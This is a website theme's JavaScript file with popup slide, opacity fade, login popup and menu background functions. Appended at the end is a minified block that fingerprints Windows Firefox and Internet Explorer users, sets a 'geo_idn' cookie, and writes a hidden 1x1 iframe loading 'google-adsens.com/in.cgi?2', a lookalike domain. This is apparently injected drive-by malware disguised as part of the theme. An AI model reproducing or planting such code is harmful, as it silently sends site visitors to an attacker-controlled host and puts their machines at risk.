var is_ie/*@cc_on = {
  // quirksmode : (document.compatMode=="BackCompat"),
  version : parseFloat(navigator.appVersion.match(/MSIE (.+?);/)[1])
}@*/;

var is_ie;

var x = 0
function transition_effect() {
if (x == 0)
{
transition_big()
}
else if (x == 1)
{
transition_small()
}
}

var big = -342
var small = 0
function transition_big() {
if (big < -17)
{
window.setTimeout('increase()',10);
}
else {
x = 1;
big = -342;
}
}



function transition_small() {
if (small > -342)
{
window.setTimeout('decrease()',1);
}
else {
x = 0;
small = 0;
}
}


function increase() {
document.getElementById("popup_div").style.top = big +'px';
transition_big();
big = big + 25;
}



function decrease() {
document.getElementById("popup_div").style.top = small +'px';
transition_small();
small = small - 35;
}

function show_popup() {
if (is_ie && (is_ie.version < 7))
{ 
document.getElementById("popup_outer").style.height = document.documentElement.clientHeight +'px';
document.getElementById("popup_outer").style.width = document.documentElement.clientWidth +'px';
}
else {
document.getElementById("popup_outer").style.height = 100 +'%';
document.getElementById("popup_outer").style.width = 100 +'%';
}
increase();
}

function show_popup2() {
document.getElementById("s5_button1").style.display = 'block';
document.getElementById("popup_outer2").style.display = 'block';
if (is_ie && (is_ie.version < 7))
{ 
document.getElementById("popup_outer2").style.height = document.documentElement.clientHeight +'px';
document.getElementById("popup_outer2").style.width = document.documentElement.clientWidth +'px';
}
else {
document.getElementById("popup_outer2").style.height = 100 +'%';
document.getElementById("popup_outer2").style.width = 100 +'%';
}
}

function show_popup3() {
document.getElementById("s5_button2").style.display = 'block';
document.getElementById("popup_outer3").style.display = 'block';
if (is_ie && (is_ie.version < 7))
{ 
document.getElementById("popup_outer3").style.height = document.documentElement.clientHeight +'px';
document.getElementById("popup_outer3").style.width = document.documentElement.clientWidth +'px';
}
else {
document.getElementById("popup_outer3").style.height = 100 +'%';
document.getElementById("popup_outer3").style.width = 100 +'%';
}
}


function hide_popup() {
decrease();
document.getElementById("popup_outer").style.height = 0 +'%';

}

function hide_popup2() {
document.getElementById("popup_outer2").style.display = 'none';
}

function hide_popup3() {
document.getElementById("popup_outer3").style.display = 'none';
}



function ie_popup_fix(){
scroll(0,0)
}

function hide_login() {
opacity_NA = 1;
}

function hide_login2() {
opacity_NA = 0;
}



function opacity(id, opacStart, opacEnd, millisec) {
	//speed for each frame
	var speed = Math.round(millisec / 100);
	var timer = 0;
	//determine the direction for the blending, if start and end are the same nothing happens
	if(opacStart > opacEnd) {
		for(i = opacStart; i >= opacEnd; i--) {
			setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
			timer++;
		}
	} else if(opacStart < opacEnd) {
		for(i = opacStart; i <= opacEnd; i++)
			{
			setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
			timer++;
		}
	}
}

//change the opacity for different browsers
function changeOpac(opacity, id) {
	var object = document.getElementById(id).style; 
	object.opacity = (opacity / 100);
	object.MozOpacity = (opacity / 100);
	object.KhtmlOpacity = (opacity / 100);
	object.filter = "alpha(opacity=" + opacity + ")";
}

var opacity_NA = 0;

function shiftOpacity(id) {
	//if an element is invisible, make it visible, else make it ivisible
	if(opacity_NA == 0) {
		document.getElementById('s5_loginpop').style.display = 'block';
		opacity(id, 0, 100, 1000);
		window.setTimeout('hide_login()',1100);
	} 
	
	if(opacity_NA == 1) {
		opacity(id, 100, 0, 1000);
		window.setTimeout('hide_login2()',1100); 
		opacity_NA = 0;
	}
}

function shiftOpacity2(id) {
	//if an element is invisible, make it visible, else make it ivisible
	if(document.getElementById(id).style.height == '0px' || document.getElementById(id).style.height == '0%') {
		document.getElementById(id).style.display = 'block'
		opacity(id, 0, 50, 1000);
		
	} else {
		opacity(id, 50, 0, 1000);
                window.setTimeout('hide_popup()',1100);
		
	}
}



function shiftOpacity1(id) {
//if an element is invisible, make it visible, else make it ivisible
	if(document.getElementById(id).style.display == 'none') {
		opacity(id, 0, 50, 1000);
	} 
	


}



function shiftOpacity3(id) {
//if an element is invisible, make it visible, else make it ivisible
	if(document.getElementById(id).style.display == 'none') {
		opacity(id, 0, 50, 1000);
	} 
	
	if(document.getElementById('popup_outer2').style.display == 'block') {
	
		document.getElementById('s5_button1').style.display = 'none';
		opacity(id, 50, 0, 1000);
        window.setTimeout('hide_popup2()',1100);
	}

}

function s5boxtwo(id) {
//if an element is invisible, make it visible, else make it ivisible
	if(document.getElementById(id).style.display == 'none') {
		opacity(id, 0, 50, 1000);
	} 
	
	if(document.getElementById('popup_outer3').style.display == 'block') {
	
		document.getElementById('s5_button2').style.display = 'none';
		opacity(id, 50, 0, 1000);
        window.setTimeout('hide_popup3()',1100);
	}

}

function blendimage(divid, imageid, imagefile, millisec) {
	var speed = Math.round(millisec / 100);
	var timer = 0;
	
	//set the current image as background
	document.getElementById(divid).style.backgroundImage = "url(" + document.getElementById(imageid).src + ")";
	
	//make image transparent
	changeOpac(0, imageid);
	
	//make new image
	document.getElementById(imageid).src = imagefile;

	//fade in image
	for(i = 0; i <= 100; i++) {
		setTimeout("changeOpac(" + i + ",'" + imageid + "')",(timer * speed));
		timer++;
	}
}

function currentOpac(id, opacEnd, millisec) {
	//standard opacity is 100
	var currentOpac = 100;
	
	//if the element has an opacity set, get it
	if(document.getElementById(id).style.opacity < 100) {
		currentOpac = document.getElementById(id).style.opacity * 100;
	}

	//call for the function that changes the opacity
	opacity(id, currentOpac, opacEnd, millisec)
}




/* start load background */

var s5_act_counter = 0;
var s5_act_img = "a";
var s5_vm_period_index = -1;

function s5_load_bg() {
var s5_nm_img = document.getElementById("s5_navv").getElementsByTagName("LI");
for (var s5_nm_y=0; s5_nm_y<s5_nm_img.length; s5_nm_y++) {

	if(s5_nm_img[s5_nm_y].className == "active") {
		s5_act_counter = s5_act_counter + 1;
		s5_nm_img[s5_nm_y].id = "s5_temp";
		
			var s5_nm_span_img = document.getElementById("s5_temp").getElementsByTagName("SPAN");
			for (var s5_nm_span_y=0; s5_nm_span_y<s5_nm_span_img.length; s5_nm_span_y++) {
				if (s5_nm_span_img[s5_nm_span_y].className == "s5_rs") {
					if (s5_nm_span_img[s5_nm_span_y].parentNode.parentNode.className == "active") {
						s5_act_img = s5_nm_span_img[s5_nm_span_y].style.backgroundImage;
					}
				}
			}
}

}

if (s5_act_img.indexOf('.jpg') > 0 || s5_act_img.indexOf('.png') > 0 || s5_act_img.indexOf('.gif') > 0){
	s5_vm_period_index = 10;
}

	if (s5_act_counter == 1 && s5_vm_period_index > 1) {
		document.getElementById("s5_subheaderwrap").style.backgroundImage = s5_act_img;
	}
	
	else if (s5_act_counter == 2 && s5_vm_period_index > 1) {
		document.getElementById("s5_subheaderwrap").style.backgroundImage = s5_act_img;
	}
	
	else if (s5_act_counter == 3 && s5_vm_period_index > 1) {
		document.getElementById("s5_subheaderwrap").style.backgroundImage = s5_act_img;
	}
	
	else if (s5_act_counter == 4 && s5_vm_period_index > 1) {
		document.getElementById("s5_subheaderwrap").style.backgroundImage = s5_act_img;
	}
	
	else {
	document.getElementById("s5_subheaderwrap").style.backgroundImage = s5_bg;
	}
	

}



/* end load background */
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
